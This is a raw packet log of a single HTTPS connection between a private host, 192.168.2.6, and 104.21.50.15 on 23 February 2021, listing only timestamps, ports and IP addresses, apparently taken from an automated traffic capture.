Feb 23, 2021 10:04:39.731213093 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.731252909 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.731280088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.731933117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.731960058 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.731980085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.732003927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.732024908 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.732085943 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.732734919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.732754946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.732770920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.732789040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.732855082 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.733535051 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.733560085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.733576059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.733592987 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.733704090 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.734350920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.734378099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.734401941 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.734426022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.734469891 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.734493017 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.735133886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.735161066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.735183001 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.735208035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.735236883 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.735261917 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.736037016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736064911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736088037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736110926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736159086 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.736183882 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.736740112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736767054 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736788988 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736813068 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.736860037 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.736890078 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.737524986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.737550020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.737572908 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.737596035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.737643957 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.737669945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.738331079 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.738362074 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.738388062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.738409996 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.738459110 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.738492012 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.739147902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.739176035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.739197969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.739223957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.739268064 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.739295959 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.740005016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740031958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740056038 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740078926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740118980 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.740149021 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.740734100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740758896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740780115 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740801096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.740853071 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.740876913 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.742557049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.742588043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.742610931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.742733955 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.029498100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.029681921 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.557568073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.557746887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.880074024 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.921221972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921260118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921281099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921298981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921320915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921437025 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.921456099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921483994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921505928 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921514034 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.921530962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921554089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.921556950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.921590090 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.922358990 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.922394037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.922415972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.922441006 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.922466040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.922508001 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.923211098 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.923252106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.923274994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.923297882 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.923322916 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.923332930 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.923362970 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.923382998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.924177885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924205065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924227953 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924251080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924273014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924299002 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.924329042 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.924947023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924977064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.924995899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925019026 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925031900 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.925040960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925062895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925084114 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.925147057 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.925868034 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925894976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925920010 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925944090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925957918 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.925966978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.925993919 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.926028967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.926755905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.926784039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.926803112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.926820040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.926837921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.926954985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.927721024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.927752972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.927773952 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.927799940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.927807093 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.927824974 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.927839041 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.927874088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.928536892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.928565979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.928587914 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.928613901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.928638935 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.928659916 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.928689957 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.929430962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.929471016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.929495096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.929507971 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.929517984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.929544926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.929546118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.929580927 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.930301905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.930332899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.930355072 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.930377960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.930401087 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.930435896 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.930464029 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.931171894 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.931202888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.931226969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.931251049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.931262970 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.931274891 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.931294918 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.931335926 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.932044983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.932077885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.932101011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.932123899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.932140112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.932148933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.932159901 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.932955027 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.932984114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.933006048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.933036089 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.933065891 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.962836981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.962877035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.962898970 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.962915897 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.962937117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963035107 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.963105917 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963166952 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.963221073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963246107 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963290930 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.963617086 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963741064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963767052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963788033 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963807106 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.963814020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.963828087 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.964490891 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.964579105 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.964593887 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.964618921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.964642048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.964658976 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.964663982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.964728117 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.965363026 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.965415955 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.965442896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.965466976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.965466976 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.965492010 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.965518951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.966121912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.966269016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.966295958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.966316938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.966336966 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.966344118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.966367960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.966367960 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.966424942 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.967161894 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.967190027 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.967212915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.967236042 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.967257977 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.967259884 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.967287064 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.968038082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968070984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968095064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968122005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968131065 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.968149900 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968153954 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.968190908 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.968883991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968919992 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968943119 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968964100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968986034 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.968986988 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.969017982 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.969826937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.969860077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.969887018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.969902992 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.969912052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.969933987 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.969942093 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.970078945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.970726967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.970779896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.970805883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.970828056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.970845938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.970868111 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.970912933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.971642971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.971678972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.971700907 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.971709967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.971724987 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.971748114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.971750021 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.971792936 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.972472906 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.972511053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.972542048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.972573996 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.972574949 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.972609997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.972624063 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.973372936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.973436117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.973458052 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.973462105 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.973488092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.973505974 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.973514080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.973566055 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.974256992 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.974550009 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.974628925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.974647999 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.974853039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.974915981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.974924088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.974970102 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975018978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975059032 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.975083113 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975142956 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.975676060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975739956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975799084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975807905 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.975858927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.975914001 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.975920916 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.976521969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.976558924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.976600885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.976600885 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.976640940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.976648092 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.976679087 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.976726055 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.977462053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.977504969 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.977545023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.977554083 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.977585077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.977619886 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.977622032 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.978472948 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.978518963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.978555918 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.978555918 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.978590965 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.978600979 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.978634119 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.978703976 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.978859901 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.979152918 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.979192019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.979228020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:40.979243994 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:40.979263067 CET	443	49769	104.21.50.15	192.168.2.6
